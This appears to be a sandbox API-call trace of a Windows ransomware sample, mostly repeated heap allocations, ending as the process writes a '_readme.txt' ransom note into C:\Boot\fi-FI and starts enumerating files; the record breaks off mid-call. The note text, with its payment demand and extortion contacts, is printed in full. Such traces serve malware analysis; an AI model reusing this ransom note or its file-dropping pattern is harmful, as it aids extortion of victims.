0x32ba4b8 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.568] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.570] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.570] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0112.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.571] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.571] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.571] PathFindFileNameW (pszPath="") returned="" [0112.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.571] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.571] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.571] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.571] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.571] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0112.571] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.571] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.571] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0112.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.572] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.572] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.572] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.572] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3b2fba4 | out: 